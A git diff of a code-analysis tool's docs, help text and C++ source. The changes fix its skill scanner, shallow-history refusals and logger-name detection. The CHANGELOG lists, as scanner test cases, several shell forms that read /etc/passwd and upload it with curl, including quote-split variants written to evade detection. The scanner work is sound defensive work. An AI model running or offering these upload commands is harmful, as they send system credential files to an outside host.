diff --git a/CHANGELOG.md b/CHANGELOG.md index 4297ac739..c061675a6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -262,6 +262,37 @@ per page instead. Gate: `test/impactdepthcheck.sh`. placeholder changes). Every ingest cache written by an earlier build is refused and re-indexed once, and every cached quality snapshot is recomputed. The session legend dictionary is `dictv=0e543e1e6a3fe37d entries=750`. +### Fixed — `--scan-skill(s)`: quoting a sensitive path no longer hides its upload (sensitive-read-upload) + +`cat /etc/passwd | curl … @- URL` grades CRITICAL, but `cat "/etc/passwd" | curl …` scanned clean: an +opening quote put the flow scan back in command position, so the reader's quoted file was read as a command and its +read was never noted. A quote no longer re-arms command position inside a reader's segment (it still does elsewhere, +so `sh -c "…"` and `echo "…" | sh` are read as code), and a shell word split by quotes or escapes (`/etc/"passwd"`, +`@"/etc/passwd"`, `/etc/pass\wd`, `< /etc/"passwd"`) is also read whole, once, when it ends — and in command position +names the command (`\cat`, `c"a"t`, `\curl`). A runner option's split value stays a value (`sudo -u ro''ot cat`), a split upload +option still marks its file (`curl -""T /etc/passwd`), and a reader's state stays inside its own command context +(`cat <(sh -c 'curl … @/etc/passwd …')` is an upload). Single-quoted, mixed, redirected and `head -c "N" FILE` forms are +covered by `test/skillscan.sh`. Against the previous scanner no finding is lost on the skill fixtures, an adversarial +set or this repository's own Markdown and scripts; two CRITICAL rows gain `why="sensitive-read-upload"`. + +### Fixed — `--cochange` / `--owners` / `--hotspots` in a multi-root workspace name a shallow secondary root when they refuse + +When no workspace root had a commit to mine, the refusal probed only the primary root for a shallow clone, so a full +primary next to a depth-limited secondary still said "git unavailable / no history". The refusal now probes every +mined root (the one root `--owners=SYM` mines) and names the shallow root it found, as the success paths' `shallow="1"` +already did. Single-root output is unchanged. Gate: `test/shallowhistorycheck.sh` section 3m. + +### Fixed — `--quality-delta` error-masking: log-only recognises loggers spelled with a call, a sigil, an acronym or a digit + +The whole-word logger rule split a receiver only on `_`, `-` and camelCase, so `logging.getLogger(__name__).error(…)`, +`get_logger()`, `structlog.get_logger()`, `@logger`, `$logger`, `this.#logger`, `HTTPLogger`, `logger2`, `mylog` and +`vlog` were no longer loggers, and Python's gating log-only rows were lost. Trailing call arguments now come off before +the last `.` segment, words split on every non-alphanumeric byte, at acronym-to-word and at letter-to-digit steps, and a +logger package spelled as one word (structlog, logfire, logbook, loguru) or log/logger/logging behind a one- or +two-letter prefix counts (so clog, flog and clogging do too). Longer English words that end in "log" (catalog, +dialog, backlog, analog, changelog), blog and +technology still log nothing. Still a miss: a logger behind a longer one-word prefix (`auditlog`). + ### Fixed — review round on train 22: false gates, a stack overflow, silent cuts - `--quality-delta` log-only handlers: a receiver is a logger only when the first or last word of its last segment is `log`, `logger` or `logging` (words split on `_`, `-` and camelCase), or a known logger package, not whenever it contains "log". A Python `except Exception: store.catalog.write(x)` no longer gates as log-only. diff --git a/README.md b/README.md index daf4382e5..06ed93fdc 100644 --- a/README.md +++ b/README.md @@ -12,7 +12,7 @@ **The ripgrep of AI context. A map before your agent reads the repo — and a check on what it writes.** Ranked, deterministic call graph: what to touch, what it breaks, which tests to run. On the edit: blast -radius, tests that reach it, ten quality kinds reporting only what got worse, forgotten co-changes, fields +radius, tests that reach it, eleven quality kinds reporting only what got worse, forgotten co-changes, fields read and written, names that resolve more than one way. **Just want to use it?** Install it with the one line below, then start each coding session by telling your agent to diff --git a/docs/COMMANDS.md b/docs/COMMANDS.md index 03f7ad1c1..01fa772e1 100644 --- a/docs/COMMANDS.md +++ b/docs/COMMANDS.md @@ -784,7 +784,7 @@ $ ./build/ripwire . --callees=rankGraphTeleport ``` -**Shaped by:** `--impact`, `--exercises`, `--format`, `--legend`, `--json`, `--limit` +**Shaped by:** `--exercises`, `--format`, `--legend`, `--json`, `--limit` **Caveats (stated by the binary):** @@ -817,7 +817,7 @@ $ ./build/ripwire . --uses=rankGraphTeleport ``` -**Shaped by:** `--no-route`, `--impact`, `--naming-consistency`, `--edit-check`, `--edit-target-file`, `--safe-delete`, `--doctor`, `--format` +**Shaped by:** `--no-route`, `--naming-consistency`, `--edit-check`, `--edit-target-file`, `--safe-delete`, `--doctor`, `--format`, `--legend` **Caveats (stated by the binary):** @@ -950,9 +950,9 @@ $ ./build/ripwire . --connect=rankGraphTeleport,runEval,getIndex ### `--impact=SYM` -**Answers:** show everything that reaches SYM — the transitive blast radius before a change transitive blast radius — the indexed symbols that reach SYM (a floor, see counts_floor). +**Answers:** show everything that reaches SYM — the transitive blast radius before a change — the indexed symbols that reach SYM (a floor, see counts_floor). -file:name disambiguates like --callers rows run nearest first: d= is the hop depth (1 = a direct caller; printed where it changes), PageRank order within a depth; by_depth=k:n on the root counts reaches= per depth, so a cut drops the deepest first importers= is a SECOND, weaker reach beside it: the files that directly include/import a file defining SYM, emitted as rows (format=columnar carries the count only; --limit sizes it). NEVER added to reaches= — files and symbols are different units, and an importer may use a different symbol from that file, or none at all. lazy="1": every one of that importer's edges is written inside a closure — a TS/JS require()/import() inside a function body, a Ruby constant receiver or argument inside a method/lambda/block, a Ruby autoload or rescue class — not at load time: still a real dependency, weaker than a top-level one counts_floor="1" every count on the graph verbs is a FLOOR, never a total; a 0 means none found on --callers/--callees/--uses/--impact/--edit-check every count is a FLOOR, never a total: the call graph is extracted from source text by name, so dynamic dispatch and declarations that parse without a call expression (C++ most-vexing-parse) contribute no edge; a call through a function pointer/callback is an edge only when ONE function is bound to that variable in scope (reassigned/table-indexed/lambda-bound/escaped — address-taken or reference-bound — pointers stay edge-less, C-family); a macro-generated call site contributes a role="macro" edge when its name uniquely names an indexed function-like #define (t="macro"); a shared name stays a plain call, an unindexed macro's site is no edge. Read a 0 as "none found", never as "none exists". Those five verbs also count DISTINCT (caller,callee) pairs, while --uses counts call SITES — see each verb's own legend pr_iters="N" how many PageRank iterations produced this ordering on every PageRank-ordered document (the map, and the tree, seams, communities, zoom, impact, graph-query and exercises verbs, plus their MCP twins): how many power iterations produced that ordering. The iteration stops when the L1 residual between successive rank vectors falls below tolerance, or at a fixed iteration ceiling, whichever comes first. pr_converged="0" is emitted ONLY on that second exit and means the ranking is a rank vector that stopped SHORT of tolerance, not the fixed point it approximates. ABSENCE MEANS IT CONVERGED (there is no pr_converged="1": the converged path is the normal one and must cost zero bytes), and absence of pr_iters= itself means the document was not ordered by a power iteration at all (a lexical query score, or a hub or authority HITS vector), never that the count is unknown +file:name disambiguates like --callers rows run nearest first: d= is the hop depth (1 = a direct caller; printed where it changes), PageRank order within a depth; by_depth=k:n on the root counts reaches= per depth, so a cut drops the deepest first importers= is a SECOND, weaker reach beside it: the files that directly include/import a file defining SYM, emitted as rows (format=columnar carries the count only; --limit sizes it). NEVER added to reaches= — files and symbols are different units, and an importer may use a different symbol from that file, or none at all. lazy="1": every one of that importer's edges is written inside a closure — a TS/JS require()/import() inside a function body, a Ruby constant receiver or argument inside a method/lambda/block, a Ruby autoload or rescue class — not at load time: still a real dependency, weaker than a top-level one **Try it** @@ -960,20 +960,20 @@ _Transitive blast radius — everything that reaches SYM. NOW carries shown/capp ``` $ ./build/ripwire . --impact=rankGraphTeleport - - - - - - - - - - - - - + + + + + + + + + + + + + + ... [17 more line(s); run it to see the whole thing] ``` @@ -981,7 +981,7 @@ $ ./build/ripwire . --impact=rankGraphTeleport **Caveats (stated by the binary):** -- show everything that reaches SYM — the transitive blast radius before a change transitive blast radius — the indexed symbols that reach SYM (a floor, see counts_floor). +- show everything that reaches SYM — the transitive blast radius before a change — the indexed symbols that reach SYM (a floor, see counts_floor). - file:name disambiguates like --callers rows run nearest first: d= is the hop depth (1 = a direct caller; - NEVER added to reaches= — files and symbols are different units, and an importer may use a different symbol from that file, or none at all. @@ -1010,7 +1010,7 @@ $ ./build/ripwire . --verify="frobnicate(x)" **Answers:** find the markdown docs that name SYM in backticks — the doc-to-code link markdown docs (plans/designs) that name SYM in a `backtick` (doc↔code). -An @FILE:LINE seed rebinds to the innermost enclosing definition and answers, disclosing sym= (its name). unbackticked_docs=N (absent at 0): files naming SYM only outside such a span, a ceiling. the pre-PR family — plumbing (--affected) to mid-task report (--situ) to gate (--test-gate): +An @FILE:LINE seed rebinds to the innermost enclosing definition and answers, disclosing sym= (its name). unbackticked_docs=N (absent at 0): files naming SYM only outside such a span, a ceiling. **Try it** @@ -1059,7 +1059,7 @@ $ ./build/ripwire . --affected=src/graph.h ``` -**Shaped by:** `--mentions`, `--exercises`, `--test-gate`, `--edit-target-file`, `--legend` +**Shaped by:** `--exercises`, `--test-gate`, `--edit-target-file`, `--legend` **Caveats (stated by the binary):** @@ -1110,7 +1110,7 @@ at: f8d431396 (0 changed files — working tree is clean, nothing to analyze) ``` -**Shaped by:** `--mentions`, `--affected`, `--test-gate`, `--legend`, `--limit` +**Shaped by:** `--affected`, `--test-gate`, `--legend`, `--limit` ### `--handoff` @@ -1164,7 +1164,7 @@ $ ./build/ripwire . --test-gate ``` -**Shaped by:** `--mentions`, `--affected`, `--quality-delta`, `--edit-target-file`, `--json`, `--limit` +**Shaped by:** `--affected`, `--quality-delta`, `--edit-target-file`, `--json`, `--limit` **Caveats (stated by the binary):** @@ -2838,9 +2838,9 @@ $ ./build/ripwire . --quality-baseline --allow-dirty ### `--quality-delta` -**Answers:** before a PR: report ONLY what your change made worse, across 11 kinds agent self-check before a PR (pair with --test-gate): report ONLY what a change made worse vs the baseline (11 kinds: complexity/verbosity/nesting/params/dup/dead/api-surface + error-masking/short-horizon-churn/new-clone-of-reused-helper + placeholder); +**Answers:** before a PR: report ONLY what your change made worse, across 11 kinds — pair with --test-gate. -every finding is classified by ORIGIN: a symbol that EXISTED at the baseline and got worse (preexisting-worse="N", no attribute on the row) vs one that exists only because the code is NEW (new-symbol="N", origin="new-symbol" on the row). A small numeric delta is additionally sev="minor". EXIT 2 ONLY on preexisting-worse AND major AND unacked — the gating="N" header count. New-symbol rows are still PRINTED (they are the debt you are adding — read them), they just never gate; exit 0 means "nothing that already existed got worse", not "clean". Clone kinds classify by member set (new-symbol only if EVERY member is new); short-horizon-churn is preexisting by construction. LIMIT: origin is canonId (path::scope::name) identity, so a RENAMED/MOVED symbol reads as new and a regression carried in with the move will not gate. error-masking = a NEW empty/pass/comment-only handler, or log-only (a broad handler whose body only logs and never names the error) or rethrow-only (the sole handler re-throws it unchanged); those two gate only where their precision was measured (Python) and are sev="minor" in every other language. placeholder = a stub the change ADDED (todo!()/unimplemented!(), Kotlin TODO(), NotImplementedException, a bare raise NotImplementedError as a free function's body, a throw/raise/panic/assert saying "not implemented") or a comment line opening with TODO/FIXME that names no issue (#12, ABC-12, a URL); new-symbol by construction, so it never gates. Counted per enclosing symbol, like error-masking: a file-level TODO outside every definition is not counted. Test-fixture dirs + doc sections are exempt from dead-code/churn; churn needs COMMITTED thrash evidence (rewritten across recent commits AND again by this diff), never the current edit alone WHICH FLOOR IT COMPARES AGAINST, and a side effect: the sidecar is honored only when the sha it was pinned at EQUALS the current git HEAD (strict equality — an ancestor commit describes a DIFFERENT tree, so everything committed since would read as your regression). A sidecar pinned anywhere else is STALE: this verb then DELETES it from your working tree (self-heal, so the next run does not rediscover the dead pin) and auto-compares the working tree vs git HEAD instead. Re-pin with --quality-baseline. The read-only MCP quality_delta verb applies the SAME staleness test but never deletes. A sidecar at the current HEAD that ANOTHER ripwire build pinned (its producer stamp names other sources — a dead set depends on how calls were resolved) is FOREIGN: both arms ignore it, never delete it, and auto-compare vs git HEAD. Which floor was actually used is on every report as baseline=: sidecar | git-HEAD | git-HEAD (stale sidecar removed) | git-HEAD (stale sidecar ignored) | git-HEAD (foreign sidecar ignored) — the stale two say a stale sidecar existed, and 'removed' means the file is gone. A non-git root has no HEAD to fall back to, so its sidecar is honored whenever this build pinned it; without one there, or with another build's, the verb exits 1. +Each kind is measured against the baseline (complexity/verbosity/nesting/params/dup/dead/api-surface + error-masking/short-horizon-churn/new-clone-of-reused-helper + placeholder); every finding is classified by ORIGIN: a symbol that EXISTED at the baseline and got worse (preexisting-worse="N", no attribute on the row) vs one that exists only because the code is NEW (new-symbol="N", origin="new-symbol" on the row). A small numeric delta is additionally sev="minor". EXIT 2 ONLY on preexisting-worse AND major AND unacked — the gating="N" header count. New-symbol rows are still PRINTED (they are the debt you are adding — read them), they just never gate; exit 0 means "nothing that already existed got worse", not "clean". Clone kinds classify by member set (new-symbol only if EVERY member is new); short-horizon-churn is preexisting by construction. LIMIT: origin is canonId (path::scope::name) identity, so a RENAMED/MOVED symbol reads as new and a regression carried in with the move will not gate. error-masking = a NEW empty/pass/comment-only handler, or log-only (a broad handler whose body only logs and never names the error) or rethrow-only (the sole handler re-throws it unchanged); those two gate only where their precision was measured (Python) and are sev="minor" in every other language. placeholder = a stub the change ADDED (todo!()/unimplemented!(), Kotlin TODO(), NotImplementedException, a bare raise NotImplementedError as a free function's body, a throw/raise/panic/assert saying "not implemented") or a comment line opening with TODO/FIXME that names no issue (#12, ABC-12, a URL); new-symbol by construction, so it never gates. Counted per enclosing symbol, like error-masking: a file-level TODO outside every definition is not counted. Test-fixture dirs + doc sections are exempt from dead-code/churn; churn needs COMMITTED thrash evidence (rewritten across recent commits AND again by this diff), never the current edit alone WHICH FLOOR IT COMPARES AGAINST, and a side effect: the sidecar is honored only when the sha it was pinned at EQUALS the current git HEAD (strict equality — an ancestor commit describes a DIFFERENT tree, so everything committed since would read as your regression). A sidecar pinned anywhere else is STALE: this verb then DELETES it from your working tree (self-heal, so the next run does not rediscover the dead pin) and auto-compares the working tree vs git HEAD instead. Re-pin with --quality-baseline. The read-only MCP quality_delta verb applies the SAME staleness test but never deletes. A sidecar at the current HEAD that ANOTHER ripwire build pinned (its producer stamp names other sources — a dead set depends on how calls were resolved) is FOREIGN: both arms ignore it, never delete it, and auto-compare vs git HEAD. Which floor was actually used is on every report as baseline=: sidecar | git-HEAD | git-HEAD (stale sidecar removed) | git-HEAD (stale sidecar ignored) | git-HEAD (foreign sidecar ignored) — the stale two say a stale sidecar existed, and 'removed' means the file is gone. A non-git root has no HEAD to fall back to, so its sidecar is honored whenever this build pinned it; without one there, or with another build's, the verb exits 1. **Try it** @@ -2848,7 +2848,7 @@ _On a CLEAN tree: nothing got worse, exit 0. The gating shape is in the sandbox ``` $ ./build/ripwire . --quality-delta - + @@ -2885,7 +2885,7 @@ _On a CLEAN tree: nothing got worse, exit 0. The gating shape is in the sandbox ``` $ ./build/ripwire . --quality-delta - + @@ -2992,7 +2992,7 @@ _OWNERSHIP partition for a shared tree: every regression here lives in src/infra ``` $ ./build/ripwire . --quality-delta --scope=src/graph.h - + @@ -3034,7 +3034,7 @@ $ ./build/ripwire . --edit-check=rankGraphTeleport ``` -**Shaped by:** `--impact`, `--edit-target-file`, `--slice`, `--at`, `--legend`, `--limit` +**Shaped by:** `--edit-target-file`, `--slice`, `--at`, `--legend`, `--limit` **Caveats (stated by the binary):** @@ -4960,7 +4960,7 @@ $ ./build/ripwire --version ripwire 0.6.1 (dev, AppleClang 21.0.0.21000101, emit=std::print, built_from=f8d431396) ``` -**Shaped by:** `--impact`, `--verify`, `--metrics`, `--deps`, `--naming-locals`, `--arch`, `--dry-run`, `--doc-drift` +**Shaped by:** `--verify`, `--metrics`, `--deps`, `--naming-locals`, `--arch`, `--dry-run`, `--doc-drift`, `--from-trace` --- diff --git a/docs/LIMITS.md b/docs/LIMITS.md index 86006ae86..21410090c 100644 --- a/docs/LIMITS.md +++ b/docs/LIMITS.md @@ -37,8 +37,8 @@ None of them truncates anything, so none can be judged by `shown=`/`total=` and a disclosure — labelling them OUTPUT would ask for a `capped="1"` that could never honestly fire. The distinction was named in review on #108 and the rows below now carry it. -The `class` column below carries that answer where it is known. **127 of 230 caps are classified -(42 INDEXING, 41 OUTPUT, 44 BOUNDARY); the remaining 103 render `—`, which means NOT YET +The `class` column below carries that answer where it is known. **128 of 230 caps are classified +(43 INDEXING, 41 OUTPUT, 44 BOUNDARY); the remaining 102 render `—`, which means NOT YET CLASSIFIED — never "neither".** Classifications live in `docs/limits_classes.tsv`, a sidecar with a known expiry: the tag belongs on the declaration itself, and this file exists only because the round that @@ -360,7 +360,7 @@ Discloses: **none** | constant | value | class | note | | --- | --- | --- | --- | -| `kMentionsNameMaxDepth` | `512` | — | — | +| `kMentionsNameMaxDepth` | `512` | INDEXING | undisclosed: a deeper subtree answers "mentions it", so a log-only handler that deep is never flagged | ### `src/handoff.h` diff --git a/docs/LINEAGE.md b/docs/LINEAGE.md index d0696e5b4..8bece8054 100644 --- a/docs/LINEAGE.md +++ b/docs/LINEAGE.md @@ -81,7 +81,7 @@ left to look like a paper. | ONTO — [arXiv:2604.17512](https://arxiv.org/abs/2604.17512) | Genuinely tabular rows re-encode far cheaper as parallel arrays than as repeated per-row markup. | `--format=columnar` (`src/columnar.h`) | | Controlled serialization study — [arXiv:2603.03306](https://arxiv.org/abs/2603.03306) | The same compact re-encoding collapses on *nested* data, and the headline savings are measured against pretty-printed JSON — a baseline minified XML already beats. | `--format=columnar` refuses every non-tabular verb with exit 1 instead of degrading quietly; the nested map is never re-encoded | | Tokenizer and formatting cost — [arXiv:2508.13666](https://arxiv.org/abs/2508.13666) | A single characters-per-token divisor is 20–35% wrong on code, and the spread is dominated by language, not by the tokenizer. | The per-language calibration behind `est_tokens` — and the decision *not* to vendor a byte-pair table, which would buy exactness for the wrong tokenizer | -| AI-generated code smells — [arXiv:2605.02741](https://arxiv.org/abs/2605.02741) | Bloat tracks architectural decay almost perfectly, and the named failure modes are god-class growth, inline re-implementation of existing interfaces, and file separation mistaken for cohesion. | Three of `--quality-delta`'s ten kinds: verbosity, duplication, and reuse-decline (`src/quality.h`) | +| AI-generated code smells — [arXiv:2605.02741](https://arxiv.org/abs/2605.02741) | Bloat tracks architectural decay almost perfectly, and the named failure modes are god-class growth, inline re-implementation of existing interfaces, and file separation mistaken for cohesion. | Three of `--quality-delta`'s eleven kinds: verbosity, duplication, and new-clone-of-reused-helper (`src/quality.h`) | | Agent-code maintainability — [arXiv:2606.21804](https://arxiv.org/abs/2606.21804) | Classical complexity did not predict real agent-code maintenance failures. Contract drift and code growth did. | The api-surface kind in `--quality-delta`, and `--edit-check` as a standalone contract check (`src/editcheck.h`) | | Metric feedback into the loop — [arXiv:2505.23953](https://arxiv.org/abs/2505.23953) | Feeding measured complexity back after a failed attempt raised Pass@1 from 12.5% to 35.7%; the oracle has to be re-readable, not just a verdict. | `--quality-delta` reports only what a change made *worse*, itemised, in a form meant to go back into the next prompt | | ARISE — [arXiv:2605.03117](https://arxiv.org/abs/2605.03117) | Statement-level definition-use edges exposed as a queryable agent primitive lifted Function Recall@1 by 17 points over an unmodified SWE-agent — the graph's granularity floor, not its ranking, was the binding constraint. | `--slice=SYM[:VAR]` and the rung-2 `--slice-flow` (`src/slice.h`) — per-line def/use rows inside one resolved definition, plus the bounded transitive BFS over reaching-definition edges. **Bounded, and the output says so**: name-based, intra-procedural, no alias analysis, no control dependence, disclosed depth truncation; the paper's three-tier graph API remains a design note. The reference implementation is now published ([FARD-Lab/ARISE](https://github.com/FARD-Lab/ARISE), MIT) and was audited line-by-line against this slicer 2026-08-31 — the core reaching-definition rule matches; the divergences (their traversal is seed-variable-filtered and unbounded, ours chains operand variables under a disclosed bound) are recorded in [`EVALS.md`](EVALS.md) | diff --git a/docs/captures/COMMANDS_showcase_2026-09-14.md b/docs/captures/COMMANDS_showcase_2026-09-14.md index 42cad1d99..76c1f774b 100644 --- a/docs/captures/COMMANDS_showcase_2026-09-14.md +++ b/docs/captures/COMMANDS_showcase_2026-09-14.md @@ -998,37 +998,37 @@ ripwire: --callers symbol not found: DoesNotExist *Transitive blast radius — everything that reaches SYM. NOW carries shown/capped.* ````` - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + - - - - - - - - - -… [46 more display lines; full output is 7893 bytes on 1 raw line(s)] + + + + + + + + + +… [46 more display lines; full output is 5179 bytes on 1 raw line(s)] ````` ## `./build/ripwire . --mentions=rankGraphTeleport` @@ -2357,7 +2357,7 @@ flowchart LR **wall time: 5.25s** ````` - + @@ -5936,7 +5936,7 @@ at: f8d431396+dirty **exit code: 2** — **wall time: 5.33s** ````` - + @@ -6111,7 +6111,7 @@ ripwire: acknowledged 1 of 9 finding(s) (8 left UNACKED by --ack-only, 0 already **exit code: 2** — **wall time: 2.32s** ````` - + @@ -6364,7 +6364,7 @@ stderr: **wall time: 2.39s** ````` - + @@ -6795,7 +6795,7 @@ ripwire: --edit-plan requires exactly one of --dry-run or --apply **exit code: 2** — **wall time: 2.47s** ````` - + @@ -6896,7 +6896,7 @@ ccx 1 **wall time: 2.37s** ````` - + diff --git a/docs/docs_commands_build.py b/docs/docs_commands_build.py index d81c19d61..bd8f9decb 100644 --- a/docs/docs_commands_build.py +++ b/docs/docs_commands_build.py @@ -360,6 +360,13 @@ def parse_help( helpText ): current[ 1 ].append( entry ) continue + if mIndent: + # Four spaces and no dash: a sub-heading ("the pre-PR family — …:") or a shared legend row + # (counts_floor="1", pr_iters="N"). classifyHelpLine() gives either its own line, never the + # flag above it; appending it here put the next family's heading inside --mentions' prose. + entry = None + continue + stripped = line.strip() if entry is not None and stripped and line.startswith( ' ' ): entry[ 'text' ].append( stripped ) diff --git a/docs/limits_classes.tsv b/docs/limits_classes.tsv index 0b40d012b..b749d67ba 100644 --- a/docs/limits_classes.tsv +++ b/docs/limits_classes.tsv @@ -109,6 +109,7 @@ kMentionMaxNamedIdents INDEXING kMentionMaxNameFiles BOUNDARY kMentionMaxRawTokens INDEXING kMentionMaxSymbolsPerFile INDEXING +kMentionsNameMaxDepth INDEXING kMinIdentLen BOUNDARY kMinMentionLen BOUNDARY kMinNameLen BOUNDARY diff --git a/src/cli.h b/src/cli.h index 58e304d31..3ea2cfa03 100644 --- a/src/cli.h +++ b/src/cli.h @@ -1159,7 +1159,7 @@ inline constexpr char kHelpHead[] = " minimal connecting subgraph over 2..16 symbols: terminals + fewest joining intermediaries +\n" " call edges in TRUE direction (finds the shared-caller join a directed --path can't) [--connect-radius=N (1..12, default 6)]\n" " --impact=SYM show everything that reaches SYM — the transitive blast radius before a change\n" - " transitive blast radius — the indexed symbols that reach SYM (a floor, see counts_floor). file:name disambiguates like --callers\n" + " — the indexed symbols that reach SYM (a floor, see counts_floor). file:name disambiguates like --callers\n" " rows run nearest first: d= is the hop depth (1 = a direct caller; printed where it changes), PageRank\n" " order within a depth; by_depth=k:n on the root counts reaches= per depth, so a cut drops the deepest first\n" " importers= is a SECOND, weaker reach beside it: the files that directly include/import a file defining SYM,\n" @@ -1690,7 +1690,7 @@ inline constexpr char kHelpHead[] = " later --quality-delta against it carries baseline_absorbed=\"N\" — so a green exit beside that attribute reads as\n" " \"clean SINCE THE PIN\", never \"clean\". Refused alone.\n" " --quality-delta before a PR: report ONLY what your change made worse, across 11 kinds\n" - " agent self-check before a PR (pair with --test-gate): report ONLY what a change made worse vs the baseline (11 kinds: complexity/verbosity/nesting/params/dup/dead/api-surface + error-masking/short-horizon-churn/new-clone-of-reused-helper + placeholder);\n" + " — pair with --test-gate. Each kind is measured against the baseline (complexity/verbosity/nesting/params/dup/dead/api-surface + error-masking/short-horizon-churn/new-clone-of-reused-helper + placeholder);\n" " every finding is classified by ORIGIN: a symbol that EXISTED at the baseline and got worse (preexisting-worse=\"N\", no attribute on the row) vs one that exists only\n" " because the code is NEW (new-symbol=\"N\", origin=\"new-symbol\" on the row). A small numeric delta is additionally sev=\"minor\". EXIT 2 ONLY on preexisting-worse AND\n" " major AND unacked — the gating=\"N\" header count. New-symbol rows are still PRINTED (they are the debt you are adding — read them), they just never gate; exit 0 means\n" diff --git a/src/handlershape.h b/src/handlershape.h index 5778d4815..d2f3e33c1 100644 --- a/src/handlershape.h +++ b/src/handlershape.h @@ -127,7 +127,7 @@ inline void statementsOf( TSNode body, std::vector& out ) // How deep mentionsName reads below the node it is handed — the handler walk's own pathological-depth bound // (walkHandlerShapes' frame.depth > 512). -inline constexpr int kMentionsNameMaxDepth = 512; +inline constexpr int kMentionsNameMaxDepth = 512; // undisclosed: a deeper subtree answers "mentions it", so a log-only handler that deep is never flagged // mentionsName's walk: true when a named leaf below n spells `name`, OR when it meets a node with named children at // kMentionsNameMaxDepth levels down — a subtree too deep to read answers "mentions it", which excludes the handler from @@ -429,8 +429,25 @@ inline std::size_t countPhrases( std::string_view hay, const std::string_view ( return found; } -// The first and last WORD of an identifier segment, words split on `_`, `-` and a lower-to-upper camelCase step: -// audit_log -> (audit, log), appLogger -> (app, Logger), LOG -> (LOG, LOG). Empty views when it has no word. +// Does a new word start at seg[i]? A lower-to-upper camelCase step (appLogger), an acronym-to-word step (the L of +// HTTPLogger: upper after upper, lower after it) or a letter-to-digit step (logger2). seg[i - 1] is alphanumeric. +inline bool isWordStepAt( std::string_view seg, std::size_t i ) noexcept +{ + const auto up = [ & ]( std::size_t k ) noexcept { return std::isupper( (unsigned char)seg[k] ) != 0; }; + if( std::isdigit( (unsigned char)seg[i] ) ) + { + return std::isalpha( (unsigned char)seg[i - 1] ) != 0; + } + if( !up( i ) ) + { + return false; + } + return std::islower( (unsigned char)seg[i - 1] ) || ( up( i - 1 ) && i + 1 < seg.size() && std::islower( (unsigned char)seg[i + 1] ) ); +} + +// The first and last WORD of an identifier segment. Words split on every non-alphanumeric byte (`@logger`, `#logger`, +// `$logger`, audit_log, log-sink) and at isWordStepAt: audit_log -> (audit, log), appLogger -> (app, Logger), +// HTTPLogger -> (HTTP, Logger), logger2 -> (logger, 2), LOG -> (LOG, LOG). Empty views when it has no word. inline std::pair edgeWordsOf( std::string_view seg ) { std::string_view first; @@ -438,37 +455,93 @@ inline std::pair edgeWordsOf( std::string_vi std::size_t wordBegin = 0; for( std::size_t i = 0; i <= seg.size(); ++i ) { - const bool atSep = i == seg.size() || seg[i] == '_' || seg[i] == '-'; - const bool atCamel = !atSep && i > 0 && std::isupper( (unsigned char)seg[i] ) && std::islower( (unsigned char)seg[i - 1] ); - if( ( atSep || atCamel ) && i > wordBegin ) + const bool atSep = i == seg.size() || !std::isalnum( (unsigned char)seg[i] ); + const bool atStep = !atSep && i > wordBegin && isWordStepAt( seg, i ); + if( ( atSep || atStep ) && i > wordBegin ) { last = seg.substr( wordBegin, i - wordBegin ); first = first.empty() ? last : first; } - wordBegin = atSep ? i + 1 : ( atCamel ? i : wordBegin ); + wordBegin = atSep ? i + 1 : ( atStep ? i : wordBegin ); } return { first, last }; } -// A logging receiver: anything whose LAST segment's first or last WORD (edgeWordsOf) says log — logger, log, LOG, -// logging, _log, audit_log, appLogger, log_sink, self.logger, Rails.logger — a known logger package (slog, glog, klog, +// `logging.getLogger(__name__)` -> `logging.getLogger`: trailing balanced call argument lists come off BEFORE the last +// `.` segment is taken, since an argument may hold dots of its own (`getLogger('a.b')`). One forward pass; a paren inside +// a quoted argument (`getLogger("svc.worker)")`, `getStore("logger(")`) is text, not a delimiter, and an escape inside a +// string skips the next byte. Unbalanced or an unterminated string: left as it is. +inline std::string_view withoutTrailingCalls( std::string_view recv ) noexcept +{ + int depth = 0; + char quote = 0; + std::size_t openAt = 0; + std::size_t runStart = std::string_view::npos; // where the run of call groups that ends recv starts + for( std::size_t i = 0; i < recv.size(); ++i ) + { + const char c = recv[i]; + if( quote != 0 ) + { + i += c == '\\' ? 1 : 0; + quote = c == quote ? 0 : quote; + continue; + } + if( c == ')' && depth == 0 ) + { + return recv; + } + quote = ( c == '"' || c == '\'' || c == '`' ) ? c : 0; + openAt = ( c == '(' && depth == 0 ) ? i : openAt; + depth += c == '(' ? 1 : ( c == ')' ? -1 : 0 ); + runStart = ( c == ')' && depth == 0 ) ? std::min( runStart, openAt ) : ( depth == 0 && c != ')' ? std::string_view::npos : runStart ); + } + return ( quote != 0 || depth != 0 || runStart == std::string_view::npos ) ? recv : recv.substr( 0, runStart ); +} + +// One WORD that says log: log / logger / logging; a logger package spelled as one word (structlog, logfire, logbook, +// loguru); or log / logger / logging behind a ONE- or TWO-letter prefix (vlog, mylog, clog, mylogger). A longer prefix +// is an English word that ends in "log" and logs nothing (catalog, dialog, backlog, analog, changelog), and so is blog. +inline bool isLogWord( std::string_view word ) +{ + constexpr std::string_view kLogWords[] = { "log", "logger", "logging" }; + constexpr std::string_view kLogPackages[] = { "structlog", "logfire", "logbook", "loguru" }; + const std::string lowered = lowerCopy( word ); + const auto in = [ & ]( const auto& table ) { return std::find( std::begin( table ), std::end( table ), lowered ) != std::end( table ); }; + if( in( kLogWords ) || in( kLogPackages ) ) + { + return true; + } + for( const std::string_view suffix : kLogWords ) + { + const std::size_t prefix = lowered.size() - std::min( lowered.size(), suffix.size() ); + if( lowered.ends_with( suffix ) && prefix >= 1 && prefix <= 2 && lowered.compare( 0, prefix, "b" ) != 0 ) + { + return std::all_of( lowered.begin(), lowered.begin() + std::ptrdiff_t( prefix ), []( char ch ) { return std::isalpha( (unsigned char)ch ) != 0; } ); + } + } + return false; +} + +// A logging receiver: anything whose LAST segment (after trailing calls come off) has a first or last WORD that says +// log (isLogWord) — logger, log, LOG, logging, _log, audit_log, appLogger, HTTPLogger, logger2, @logger, this.#logger, +// self.logger, Rails.logger, logging.getLogger(__name__), get_logger(), mylog — a known logger package (slog, glog, klog, // logrus, zerolog, syslog), or one of the console/stream spellings every grammar here uses for print-to-a-reader. A -// WHOLE word, never a substring: catalog, dialog, backlog, analog and technology contain "log" and log nothing, and a -// Python log-only row gates — precision first, so a logger spelled some other way is a miss, never a false gate. +// WORD, never a substring: catalog, dialog, backlog, analog, changelog and technology contain "log" and log nothing, and +// a Python log-only row gates — precision first, so a logger spelled some other way is a miss, never a false gate. inline bool isLogReceiver( std::string_view recv ) { - const std::size_t dot = recv.find_last_of( '.' 